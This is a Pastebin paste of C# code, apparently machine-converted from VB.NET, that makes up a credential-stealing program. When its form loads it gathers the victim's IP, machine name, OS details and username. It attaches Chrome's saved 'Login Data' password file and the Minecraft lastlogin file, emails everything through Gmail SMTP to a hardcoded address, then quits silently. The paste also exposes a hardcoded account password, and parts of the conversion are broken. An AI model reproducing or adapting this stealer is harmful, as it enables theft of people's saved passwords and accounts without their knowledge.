Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System.Net.Mail;
- using System.Net.Sockets;
- using System.Net;
- using System.Text.RegularExpressions;
- using System.Text;
- using System.Management;
- public class Form1
- {
- private void // ERROR: Handles clauses are not supported in C#
- Form1_Load(System.Object sender, System.EventArgs e)
- {
- string myhost = System.Net.Dns.GetHostName();
- string myip = System.Net.Dns.GetHostAddresses(myhost).GetValue(2).ToString;
- MailMessage MyMailMessage = new MailMessage();
- try {
- MyMailMessage.From = new MailAddress("tobiw049@gmail.com");
- MyMailMessage.To.Add("tobiw049@gmail.com");
- MyMailMessage.Subject = ("Data Sender");
- MyMailMessage.Body = ("Local IP: " + myip + Constants.vbNewLine + "Machine Name: " + myhost + Constants.vbNewLine + "OS Name: " + My.Computer.Info.OSFullName + Constants.vbNewLine + "OS Version: " + My.Computer.Info.OSVersion + Constants.vbNewLine + "OS Platform: " + My.Computer.Info.OSPlatform + Constants.vbNewLine + "Username: " + System.Environment.UserName + Constants.vbNewLine + "Sender: " + System.Environment.CommandLine + Constants.vbNewLine + "System Directory: " + System.Environment.SystemDirectory + Constants.vbNewLine + "Username: " + System.Environment.UserName + Constants.vbNewLine + "PC Time: " + My.Computer.Clock.LocalTime + Constants.vbNewLine + "Availible Memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString);
- object mc = new Attachment("C:\\Users\\" + System.Environment.UserName + "\\AppData\\Roaming\\.minecraft\\lastlogin");
- object chrome = new Attachment("C:\\Users\\" + System.Environment.UserName + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
- MyMailMessage.Attachments.Add(mc);
- MyMailMessage.Attachments.Add(chrome);
- SmtpClient SMTP = new SmtpClient("smtp.gmail.com");
- SMTP.Port = 587;
- SMTP.EnableSsl = true;
- SMTP.Credentials = new System.Net.NetworkCredential("tobiw049@gmail.com", "Tobias77567");
- SMTP.Send(MyMailMessage);
- Application.Exit();
- } catch (Exception ex) {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement